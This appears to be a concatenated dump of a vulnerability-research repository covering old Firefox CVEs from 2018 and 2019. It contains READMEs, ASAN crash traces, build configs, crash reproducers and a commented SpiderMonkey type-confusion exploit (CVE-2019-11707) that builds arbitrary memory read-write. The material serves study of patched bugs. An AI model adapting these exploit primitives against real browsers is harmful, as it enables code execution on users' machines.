policy](https://wiki.mozilla.org/Rust_Update_Policy_for_Firefox). To do that, install rustup and do ```rustup default 1.19.0```. 12 | 13 | In order for making Firefox opening the PoC file without any other disruption, I used some customized preferences. Preferences can be set in ```about:config``` page in Firefox by searching for preferences listed in [user.js](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2018-5100/user.js), or if you are running Firefox in headless mode (```--headless```), then create a new profile like this: 14 | 15 | ``` 16 | mkdir -p /path/to/firefox/build/directory/tmp/customized_profile 17 | ``` 18 | and move [user.js](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2018-5100/user.js) under the new profile folder. 19 | 20 | Run firefox with options ```--headless --no-remote --profile /path/to/the/profile/folder/just/created file:///path/to/crash.html``` 21 | 22 | 23 | ## PoC 24 | 25 | The original crash test uses ```FuzzPriv``` extention. However I did not managed to install it. Alternatively, we can use ```FuzzingFunctions``` interface implemented in fuzzing build of Firefox. So instead of triggering GC/CC using the extension, I used 26 | 27 | ``` 28 | FuzzingFunctions.garbageCollect(); 29 | FuzzingFunctions.cycleCollect(); 30 | ``` 31 | 32 | ![crash.html](images/crash.png) 33 | 34 | The vulnerability is caused when inside a function ```IsPotentiallyScrollable```, an ```HTMLBodyElement``` is passed in but later freed because of the callback function being triggered. 35 | 36 | ## Where HTMLBodyElement is freed 37 | 38 | In Line 9, getting scrollingElemnent leads to ```nsIDocument::GetScrollingElement()``` in : 39 | 40 | ![](images/image1.png) 41 | 42 | It calls ```nsIDocument::IsPotentiallyScrollable```. The ```HTMLBodyElement``` passed in is the body element associated with ```o259``` in Javascript. 43 | 44 | In ```nsIDocument::IsPotentiallyScrollable```: 45 | 46 | ![](images/image2.png) 47 | 48 | ```FlushPendingNotifications``` is called, in which the callback function ```fun0``` is triggered. In Line 12, writing to ```o259``` causes the old body element being overwritten. So the argument of ```FlushPendingNotifications``` is freed. 49 | 50 | ## Where the dangling pointer is dereferenced 51 | 52 | When returning to ```FlushPendingNotifications``` after callback is executed. We get to Line 10568, which uses the dangling pointer (```aBody```) 53 | 54 | ASAN reports a use-after-free with the following stack trace: 55 | 56 | ``` 57 | READ of size 4 at 0x60d00026a96c thread T0 58 | #0 0x7fdd5cbe34cc in nsINode::GetBoolFlag(nsINode::BooleanFlag) const /home/ug16zy2/firefox-56.0/dom/base/nsINode.h:1602:12 59 | #1 0x7fdd5cbe34cc in nsINode::IsInUncomposedDoc() const /home/ug16zy2/firefox-56.0/dom/base/nsINode.h:540 60 | #2 0x7fdd5cbe34cc in nsIContent::GetPrimaryFrame() const /home/ug16zy2/firefox-56.0/objdir-ff-asan/dist/include/nsIContent.h:911 61 | #3 0x7fdd5cbe34cc in mozilla::dom::Element::GetPrimaryFrame() const /home/ug16zy2/firefox-56.0/objdir-ff-asan/dist/include/mozilla/dom/Element.h:1196 62 | #4 0x7fdd5cbe34cc in nsIDocument::IsPotentiallyScrollable(mozilla::dom::HTMLBodyElement*) /home/ug16zy2/firefox-56.0/dom/base/nsDocument.cpp:10568 63 | #5 0x7fdd5cbe3873 in nsIDocument::GetScrollingElement() /home/ug16zy2/firefox-56.0/dom/base/nsDocument.cpp:10599:18 64 | ``` 65 | 66 | 67 | In a debug build: It ends up with a SIGSEGV: 68 | 69 | ``` 70 | Thread 1 "firefox" received signal SIGSEGV, Segmentation fault. 71 | 0x00007f68fb141449 in nsINode::GetBoolFlag (this=0x0, name=nsINode::IsInDocument) 72 | at /home/ug16zy2/firefox-56.0/dom/base/nsINode.h:1602 73 | 1602 return mBoolFlags & (1 << name); 74 | (gdb) info registers 75 | rax 0x0 0 76 | rbx 0x558429551e60 94026117488224 77 | rcx 0x2 2 78 | rdx 0x20008 131080 79 | rsi 0x1 1 80 | rdi 0x0 0 81 | rbp 0x7ffdf0057cd0 0x7ffdf0057cd0 82 | rsp 0x7ffdf0057cd0 0x7ffdf0057cd0 83 | r8 0x8 8 84 | r9 0x8 8 85 | r10 0x5584295c37a0 94026117953440 86 | r11 0x2 2 87 | r12 0x7ffdf0058750 140728630347600 88 | r13 0x558426a572b0 94026072421040 89 | r14 0x7f68fa169ac4 140088849111748 90 | r15 0x7ffdf005a1f0 140728630354416 91 | rip 0x7f68fb141449 0x7f68fb141449 92 | eflags 0x10202 [ IF RF ] 93 | cs 0x33 51 94 | ss 0x2b 43 95 | ds 0x0 0 96 | es 0x0 0 97 | fs 0x0 0 98 | gs 0x0 0 99 | (gdb) x /16i $rip 100 | => 0x7f68fb141449 : 101 | mov 0x1c(%rax),%edx 102 | ``` 103 | 104 | where at ```0x7f68fb141449```, it tries to read from invalid memory address. 105 | 106 | 107 | ## Exploitation 108 | 109 | If we look at how the dangling pointer could be derefenced after returning from ```FlushPendingNotification```, we can exploit the dangling pointer inside ```IsPotentiallyScrollable```. 110 | 111 | I presume that alternatively we can craft the new target object so that ```IsPotentiallyScrollable``` returns false and hence ```GetScrollingElement``` returns the dangling pointer, and we get the danling pointer in Javascript and continue with other dereferences. 112 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/crash.html: -------------------------------------------------------------------------------- 1 | 20 | 21 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5100/images/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/images/crash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5100/images/crash.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/images/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5100/images/image1.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/images/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5100/images/image2.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/mozconfig: -------------------------------------------------------------------------------- 1 | mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/objdir-ff-asan 2 | 3 | export LLVM_CONFIG="/usr/bin/llvm-config" 4 | 5 | # Enable ASan specific code and build workarounds 6 | ac_add_options --enable-address-sanitizer 7 | 8 | export CC=/usr/bin/clang 9 | export CXX=/usr/bin/clang++ 10 | 11 | # Add ASan to our compiler flags 12 | export CFLAGS="-fsanitize=address -Dxmalloc=myxmalloc -fPIC" 13 | export CXXFLAGS="-fsanitize=address -Dxmalloc=myxmalloc -fPIC" 14 | 15 | export LDFLAGS="-fsanitize=address" 16 | 17 | # These three are required by ASan 18 | ac_add_options --disable-jemalloc 19 | ac_add_options --disable-crashreporter 20 | ac_add_options --disable-elf-hack 21 | 22 | # Keep symbols to symbolize ASan traces later 23 | export MOZ_DEBUG_SYMBOLS=1 24 | ac_add_options --enable-debug-symbols 25 | ac_add_options --disable-install-strip 26 | 27 | ac_add_options --enable-optimize=-O2 28 | ac_add_options --disable-debug 29 | 30 | ac_add_options --disable-profiling 31 | ac_add_options --enable-tests 32 | 33 | # fuzzing 34 | ac_add_options --enable-fuzzing 35 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5100/user.js: -------------------------------------------------------------------------------- 1 | user_pref("browser.shell.checkDefaultBrowser", false); 2 | user_pref("general.warnOnAboutConfig", false); 3 | user_pref("fuzzing.enabled", true); 4 | user_pref("browser.tabs.remote.autostart", false); 5 | user_pref("browser.tabs.remote.autostart.2", false); 6 | user_pref("security.sandbox.content.level", 1); 7 | user_pref("toolkit.startup.max_resumed_crashes", -1); 8 | user_pref("browser.startup.page", 0); 9 | user_pref("browser.shell.checkDefaultBrowser", false); 10 | user_pref("browser.sessionstore.resume_from_crash", false); 11 | user_pref("browser.tabs.warnOnOpen", false); 12 | user_pref("browser.tabs.warnOnClose", false); 13 | user_pref("security.insecure_field_warning.contextual.enabled", false); 14 | user_pref("security.insecure_password.ui.enabled", false); -------------------------------------------------------------------------------- /Firefox/CVE-2018-5102/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5102/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5102/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5102 2 | 3 | ## Description 4 | heap-use-after-free in mozilla::dom::HTMLMediaElement::NotifyMediaStreamTracksAvailable 5 | 6 | ## Firefox 7 | 8 | I ran it on both Firefox 56.0 and 57.0 build, ASAN reports use-after-free in both cases. 9 | It needs "--enable-fuzzing" and the FuzzingFunctions interface. 10 | 11 | ## Poc 12 | 13 | ![](image1.png) 14 | 15 | An ```HTMLVideoElement``` (a subclass of ```HTMLMediaElement```) is freed, but still referenced by ```DOMMediaStream```, which invokes ```CheckTracksAvailable()``` and hence the callback function associated with the freed object. 16 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5102/crash.html: -------------------------------------------------------------------------------- 1 | 24 | 25 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5102/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5102/image1.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5104 2 | 3 | ## Description 4 | 5 | heap-use-after-free in gfxUserFontEntry::DoLoadNextSrc 6 | 7 | ## Firefox 8 | 9 | I tested this vulnerability with Firefox 56.0 ASAN+Fuzzing build. 10 | 11 | ## PoC 12 | 13 | The original crash test uses ```FuzzPriv``` extention. However I did not managed to install it. Alternatively, we can use ```FuzzingFunctions``` interface implemented in fuzzing build of Firefox. So instead of triggering GC/CC using the extension, I used 14 | 15 | ``` 16 | FuzzingFunctions.garbageCollect(); 17 | FuzzingFunctions.cycleCollect(); 18 | ``` 19 | 20 | ![crash.html](images/code.png) 21 | 22 | The vulnerability is caused because a ```FontFaceSet``` is freed but a ```FontFace``` still keeps a reference to it. 23 | 24 | ## Where FontFaceSet is freed: 25 | 26 | After setting ```o585``` and ```o179``` to null, garbage collection collects them. 27 | 28 | In GDB: 29 | ![](iumaegs/2.png) 30 | 31 | 32 | ## Where the dangling pointer is dereferenced 33 | 34 | In ```FontFace``` object associated with o919, ```mFontFaceSet``` still points to the freed object. ```mozilla::dom::FontFace::Load``` triggers use it: 35 | 36 | ![](images/3.png) 37 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/crash.html: -------------------------------------------------------------------------------- 1 | 21 | 22 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/images/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/images/1.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/images/2.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/images/3.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5104/images/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5104/images/code.png -------------------------------------------------------------------------------- /Firefox/CVE-2018-5127/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-5127/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-5127/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5127 2 | 3 | heap-buffer-overflow in DOMSVGPathSegCurvetoCubicAbs 4 | 5 | Version of Firefox I tried: 57.0 (ASAN build) 6 | 7 | 8 | ## Crash: 9 | 10 | run ```./mach run --debug --disable-e10s ../CVE-2018-5127/crash.html``` 11 | 12 | gives: 13 | 14 | ``` 15 | ==75375==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600078e634 at pc 0x7ffff6e93733 bp 0x7fffffff0c30 sp 0x7fffffff03d8 16 | READ of size 24 at 0x60600078e634 thread T0 17 | #0 0x7ffff6e93732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) 18 | #1 0x7fffd36a9749 in mozilla::DOMSVGPathSegCurvetoCubicAbs::DOMSVGPathSegCurvetoCubicAbs(float const*) /home/clover/firefox-57.0/dom/svg/DOMSVGPathSeg.h:363 19 | #2 0x7fffd36a98c0 in mozilla::DOMSVGPathSegCurvetoCubicAbs::Clone() /home/clover/firefox-57.0/dom/svg/DOMSVGPathSeg.h:363 20 | #3 0x7fffd36944eb in mozilla::DOMSVGPathSegList::InsertItemBefore(mozilla::DOMSVGPathSeg&, unsigned int, mozilla::ErrorResult&) /home/clover/firefox-57.0/dom/svg/DOMSVGPathSegList.cpp:372 21 | ``` 22 | 23 | Reference: 24 | 25 | https://bugzilla.mozilla.org/show_bug.cgi?id=1430557 26 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5127/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 13 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-5129/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5129 2 | 3 | ## OOB Write in CopyPlane within ImageContainer.cpp 4 | 5 | **Firefox version verified with:** 57.0 (ASAN build) 6 | 7 | **Type:** OOB Write 8 | 9 | Steps to reproduce: 10 | 11 | - run ```./mach run --debug --disable-e10s``` 12 | 13 | - open about:config 14 | 15 | - search for canvas.imagebitmap_extensions.enabled and set it to true 16 | 17 | - open oob.html 18 | 19 | 20 | Reference 21 | 22 | [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1428947 23 | 24 | [2] (Write-up) https://infinite.loopsec.com.au/cve-2018-5129-how-i-found-my-first-cve -------------------------------------------------------------------------------- /Firefox/CVE-2018-5129/oob.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 55 | 56 | -------------------------------------------------------------------------------- /Firefox/CVE-2019-11707/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2019-11707/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2019-11707/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-11707 exploitation 2 | 3 | **Firefox version:** 66.0.3 4 | **Type:** Type confusion 5 | 6 | ## Exploitation 7 | 8 | To run the exploitation: 9 | * build SpiderMonkey JS shell according to https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation 10 | * run `gdb --args ./js/src/build_DBG.OBJ/dist/bin/js ../CVE-2019-11707/exploit.js` 11 | * `handle SIGTRAP nostop` 12 | 13 | 14 | Reference: 15 | [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1544386 16 | [2] https://blog.bi0s.in/2019/08/18/Pwn/Browser-Exploitation/cve-2019-11707-writeup/ -------------------------------------------------------------------------------- /Firefox/CVE-2019-11707/crash.js: -------------------------------------------------------------------------------- 1 | // Run with --no-threads for increased reliability 2 | let ab = new ArrayBuffer(0x1000); 3 | 4 | // Confuse these two types with each other below. 5 | let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310}; 6 | let y = new Uint32Array(0x1000); 7 | 8 | const v4 = [y, y, y, y, y]; 9 | function v7(v8,v9) { 10 | if (v4.length == 0) { 11 | v4[3] = y; 12 | } 13 | 14 | // pop the last value. IonMonkey will, based on inferred types, conclude that the result 15 | // will always be an object, which is untrue when p[0] is fetched here. 16 | const v11 = v4.pop(); 17 | 18 | // It will then crash here when writing to a controlled address (0x414141414141). 19 | v11[0] = 0x1337; //crash point 20 | 21 | // Force JIT compilation. 22 | for (let v15 = 0; v15 < 100000 ; v15++) {} 23 | } 24 | 25 | var p = {}; 26 | p.__proto__ = [y, y, y]; 27 | p[0] = x; 28 | v4.__proto__ = p; 29 | 30 | for (let v31 = 0; v31 < 1000; v31++) { 31 | v7(); 32 | } -------------------------------------------------------------------------------- /Firefox/CVE-2019-11707/exploit.js: -------------------------------------------------------------------------------- 1 | /* Utility Functions */ 2 | String.prototype.rjust = function rjust(n,chr){ 3 | chr = chr || '0' 4 | if(this.length>n) 5 | return this.toString(); 6 | return (chr.repeat(n)+this.toString()).slice(-1*n); 7 | } 8 | 9 | String.prototype.ljust = function ljust(n,chr){ 10 | chr = chr || '0' 11 | if(this.length>n) 12 | return this.toString(); 13 | return (this.toString()+chr.repeat(n)).slice(0,n); 14 | } 15 | 16 | String.prototype.hexdecode = function hexdecode(){ 17 | inp=this.toString(); 18 | if (this.length%2 !=0) 19 | inp='0'+inp.toString(); 20 | out=[]; 21 | for(var i=0;i=0;i--){ 101 | diff=inp1[i]-inp2[i]-carry; 102 | carry=diff<0|0; 103 | inp1[i]=diff; 104 | } 105 | return inp1; 106 | } 107 | 108 | function add(inp1,inp2){ 109 | carry=0; 110 | for(var i=inp1.length-1;i>=0;i--){ 111 | sum=inp1[i]+inp2[i]+carry; 112 | carry=sum/0x100; 113 | inp1[i]=(sum%0x100); 114 | } 115 | return inp1; 116 | } 117 | 118 | /* Utility functions end */ 119 | 120 | 121 | /* exploit code start */ 122 | 123 | buf = [] 124 | 125 | buf.push(new ArrayBuffer(0x20)); 126 | buf.push(new ArrayBuffer(0x20)); 127 | buf.push(new ArrayBuffer(0x20)); 128 | buf.push(new ArrayBuffer(0x20)); 129 | buf.push(new ArrayBuffer(0x20)); 130 | buf.push(new ArrayBuffer(0x20)); 131 | buf.push(new ArrayBuffer(0x20)); 132 | buf.push(new ArrayBuffer(0x20)); 133 | buf.push(new ArrayBuffer(0x20)); 134 | buf.push(new ArrayBuffer(0x20)); 135 | 136 | 137 | var abuf = buf[5]; 138 | 139 | var e = new Uint32Array(abuf); 140 | const arr = [e, e, e, e, e]; 141 | 142 | /* funtion that will trigger the bug*/ 143 | 144 | function vuln(a1) { 145 | /* 146 | If the length of the array becomes zero then we set the third element of 147 | the array thus converting it into a sparse array without changing the 148 | type of the array elements. Thus spidermonkey's Type Inference System does 149 | not insert a type barrier. 150 | */ 151 | 152 | if (arr.length == 0) { 153 | arr[3] = e; 154 | } 155 | 156 | const v11 = arr.pop(); 157 | 158 | /* 159 | The length of the buffer is only 8, but we are trying to add to the index 160 | at 18. This will not work, but no error will be thrown either. 161 | When the array returned by array.pop is a Uint8Array instead of a Uint32Array, 162 | then the size of that array is 0x20 and the index that we are trying to write 163 | to, i.e 18, is less than that. But keep in mind that Ion still thinks that 164 | this array is a Uint32Array and treats each element as a DWORD, thus resulting 165 | in an overflow into the metadata of the following ArrayBuffer. 166 | Here we are overwriting the size field of the following ArrayBuffer with a large 167 | size, thus leading to an overflow in the data buffer of the following ArrayBuffer 168 | i.e buf[6] 169 | */ 170 | v11[a1] = 0x80 171 | 172 | for (let v15 = 0; v15 < 1000000; v15++) {} // JIT compile this function 173 | } 174 | /* 175 | Add a prototype to the arr arrray prototype chain and set the zero'th 176 | element as a Uint8Array to trigger the type confussion 177 | */ 178 | 179 | p = [new Uint8Array(abuf), e, e]; 180 | arr.__proto__ = p; 181 | 182 | for (let v31 = 0; v31 < 2000; v31++) { 183 | vuln(18); 184 | } 185 | 186 | /* 187 | Now the size of the ArrayBufffer which is located at the sixth index is 0x80 188 | whereas it's data buffer is only 0x20. 189 | We use this overflow to completly control the ArrayBuffer at the 7th index 190 | */ 191 | leaker = new Uint8Array(buf[7]); 192 | aa = new Uint8Array(buf[6]); 193 | 194 | // Force a GC. 195 | // We must trigger a full GC without triggering a compacting GC, 196 | // as that might fill the holes again... 197 | // Triggering the TOO_MUCH_MALLOC condition seems to do the trick. 198 | function gc() { 199 | const maxMallocBytes = 128 * 0x100000; 200 | for (var i = 0; i < 3; i++) { 201 | var x = new ArrayBuffer(maxMallocBytes); 202 | } 203 | } 204 | gc() 205 | // this should move leaker and aa to heap instead of nursery 206 | // otherwise it fails on assertion : 207 | // MOZ_ASSERT_IF(buffer->byteLength() > 0, !cx->nursery().isInside(ptr)); 208 | // in ArrayBufferViewObject::init 209 | 210 | /* 211 | Now leak the contents of buf[7] to obtain leaks for a Uint Array, and an 212 | ArrayBuffer 213 | */ 214 | leak = aa.slice(0x50,0x58); // start of the Uint array 215 | group = aa.slice(0x40,0x48); // start of the array buffer 216 | slots = aa.slice(0x40,0x48); 217 | shape = aa.slice(0x40,0x48); 218 | 219 | leak.reverse() 220 | console.log("leak (pointer to leaker)"); 221 | print1(leak); 222 | 223 | group.reverse() 224 | slots.reverse() 225 | shape.reverse() 226 | 227 | /* 228 | Since the pointer to the start of the data buffer is right shifted, we first 229 | need to left shift it. 230 | */ 231 | 232 | LS(group) 233 | console.log("group (pointer to data buffer of buf[7])"); 234 | print1(group); 235 | LS(slots) 236 | LS(shape) 237 | 238 | /* remove the type tag */ 239 | leak[0]=0 240 | leak[1]=0 241 | 242 | /* Get to the data buffer of the Uint array */ 243 | add(leak,new data("0x38")) 244 | console.log("leak pointing to data buffer of leaker (Uint8Array of buff[7])"); 245 | print1(leak); 246 | 247 | RS(leak) 248 | leak.reverse() 249 | console.log("shift and reverse back leak"); 250 | console.log(leak) 251 | print1(leak); 252 | /* 253 | Set the data pointer of buf[7] using the overflow in buf[6] 254 | We set this pointer to point to the the address of the data pointer field of 255 | the Unit that we leaked. 256 | Thus next time a view is created using this modified ArrayBuffer, it's data pointer 257 | will point to the data pointer of the Uint array! So when we write something to 258 | this view, then the data pointer of the leaked Uint array will be overwritten. 259 | So we now have the power to control the data pointer a Uint array. Thus we can 260 | leak from any address we want and write to any address just by overwritting the 261 | data pointer of the Uint Array and viewing/writing to the Uint array. 262 | Thus we now effectively have an arbitrary read-write primitive! 263 | */ 264 | 265 | for (var i=0;i 2 | 3 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Firefox/CVE-2019-9791/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2019-9791/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2019-9791/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-9791 2 | 3 | **Firefox version:** 63.0.1 4 | **Type:** Type confusion 5 | 6 | 7 | Reference 8 | [1] https://www.exploit-db.com/exploits/46613 -------------------------------------------------------------------------------- /Firefox/CVE-2019-9791/crash.js: -------------------------------------------------------------------------------- 1 | function Hax(val, l) { 2 | this.a = val; 3 | 4 | for (let i = 0; i < l; i++) {} 5 | 6 | this.x = 42; 7 | this.y = 42; 8 | // After conversion to a NativeObject, this property 9 | // won't fit into inline storage, but out-of-line storage 10 | // has not been allocated, resulting in a crash @ 0x0. 11 | this.z = 42; // crash point 12 | } 13 | 14 | for (let i = 0; i < 10000; i++) { 15 | new Hax(13.37, 1); 16 | } 17 | let obj = new Hax("asdf", 1000000); -------------------------------------------------------------------------------- /Firefox/CVE-2019-9791/exploit.js: -------------------------------------------------------------------------------- 1 | /* util Functions*/ 2 | String.prototype.rjust = function rjust(n,chr){ 3 | chr = chr || '0' 4 | if(this.length>n) 5 | return this.toString(); 6 | return (chr.repeat(n)+this.toString()).slice(-1*n); 7 | } 8 | 9 | String.prototype.ljust = function ljust(n,chr){ 10 | chr = chr || '0' 11 | if(this.length>n) 12 | return this.toString(); 13 | return (this.toString()+chr.repeat(n)).slice(0,n); 14 | } 15 | 16 | String.prototype.hexdecode = function hexdecode(){ 17 | inp=this.toString(); 18 | if (this.length%2 !=0) 19 | inp='0'+inp.toString(); 20 | out=[]; 21 | for(var i=0;i -u 27 | ``` 28 | 29 | where is the changeset hash found in [here](https://hg.mozilla.org/releases/mozilla-release/tags), 30 | and if switching to another changeset: 31 | ``` 32 | hg update -r 33 | ``` 34 | 35 | :two: download from https://ftp.mozilla.org/pub/firefox/releases/ 36 | 37 | 38 | ## Configuration 39 | 40 | ### normal debug build: 41 | ``` 42 | echo "# for debug" > mozconfig 43 | echo "ac_add_options --disable-optimize" >> mozconfig 44 | echo "ac_add_options --enable-debug" >> mozconfig 45 | ``` 46 | 47 | an example mozconfig :point_right: [:link:](mozconfig_dbg) 48 | 49 | ### ASAN build: 50 | 51 | see https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer 52 | 53 | an example mozconfig :point_right: [:link:](mozconfig) 54 | 55 | ## Build 56 | 57 | Specified a mozconfig file for build: 58 | ``` 59 | export MOZCONFIG=/path/to/your/mozconfig 60 | ``` 61 | 62 | run: 63 | ``` 64 | ./mach bootstrap 65 | ./mach build 66 | ``` 67 | 68 | ## Troubleshooting during build 69 | 70 | :point_right: [:link:](troubleshooting.md) 71 | 72 | ## Make JS Shell (optional) 73 | ``` 74 | cd js/src 75 | autoconf2.13 76 | 77 | # This name should end with "_DBG.OBJ" to make the version control system ignore it. 78 | mkdir build_DBG.OBJ 79 | cd build_DBG.OBJ 80 | ../configure --enable-debug --disable-optimize 81 | # Use "mozmake" on Windows 82 | make 83 | ``` 84 | 85 | ## Hack 86 | 87 | ### **disable hardening flags** 88 | 89 | Hardening flags are set in ```./build/moz.configure/toolchain.configure``` 90 | 91 | Flag that disables stack canary: ```-fno-stack-protector``` 92 | 93 | ### **expose garbage collection interface** 94 | 95 | To expose the garbage collection function to JavaScript, below are files needed for change: 96 | 97 | - ./dom/bindings/Bindings.conf 98 | 99 | - ./dom/base/moz.build 100 | 101 | - ./dom/webidl/moz.build 102 | 103 | - ./dom/webidl/FuzzingFunctions.webidl 104 | 105 | Revisions that added the function with ```--enable-fuzzing``` flags: 106 | 107 | https://hg.mozilla.org/integration/autoland/rev/80a323cabf56 108 | 109 | https://bugzilla.mozilla.org/show_bug.cgi?id=1322400 110 | 111 | https://hg.mozilla.org/mozreview/gecko/rev/f8b273c4a7169d8a4dcdf1bcc591f2b0dec240a9 112 | 113 | 114 | ## Run 115 | 116 | Run Firefox in headless mode: 117 | 118 | In order for making Firefox opening the PoC file without any other disruption, some preferences need to be added. 119 | 120 | Create a new profile: 121 | 122 | ``` 123 | mkdir -p /path/to/firefox/build/directory/tmp/customized_profile 124 | ``` 125 | 126 | create a file called ```user.js``` in the folder. Add preferences inside ```user.js```. 127 | 128 | Useful preferences include: 129 | 130 | ``` 131 | user_pref("browser.shell.checkDefaultBrowser", false); 132 | user_pref("general.warnOnAboutConfig", false); 133 | user_pref("fuzzing.enabled", true); 134 | user_pref("browser.tabs.remote.autostart", false); 135 | user_pref("security.sandbox.content.level", 1); 136 | user_pref("toolkit.startup.max_resumed_crashes", -1); 137 | user_pref("browser.startup.page", 0); 138 | user_pref("browser.shell.checkDefaultBrowser", false); 139 | user_pref("browser.sessionstore.resume_from_crash", false); 140 | user_pref("browser.tabs.warnOnOpen", false); 141 | user_pref("browser.tabs.warnOnClose", false); 142 | user_pref("security.insecure_field_warning.contextual.enabled", false); 143 | user_pref("security.insecure_password.ui.enabled", false); 144 | 145 | ``` 146 | 147 | Run firefox with options ```--headless --no-remote --profile /path/to/the/profile/folder/just/created file:///path/to/crash.html``` 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /Firefox/mozconfig: -------------------------------------------------------------------------------- 1 | #for debug with asan build and jitspew 2 | # Combined .mozconfig file for ASan on Linux+Mac 3 | 4 | mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/objdir-ff-asan 5 | 6 | # Enable ASan specific code and build workarounds 7 | ac_add_options --enable-address-sanitizer 8 | 9 | # Add ASan to our compiler flags 10 | export CFLAGS="-fsanitize=address -U_FORTIFY_SOURCE -Dxmalloc=myxmalloc -fPIC" 11 | export CXXFLAGS="-fsanitize=address -U_FORTIFY_SOURCE -Dxmalloc=myxmalloc -fPIC" 12 | 13 | export LDFLAGS="-fsanitize=address -Wl,--no-as-needed -ldl" 14 | 15 | # required 16 | ac_add_options --disable-jemalloc 17 | ac_add_options --disable-crashreporter 18 | ac_add_options --disable-elf-hack 19 | 20 | # Keep symbols to symbolize ASan traces later 21 | export MOZ_DEBUG_SYMBOLS=1 22 | ac_add_options --enable-debug-symbols 23 | ac_add_options --disable-install-strip 24 | 25 | # Settings for an opt build 26 | ac_add_options --enable-optimize=-O2 27 | ac_add_options --disable-debug 28 | 29 | # Settings for a debug build 30 | # 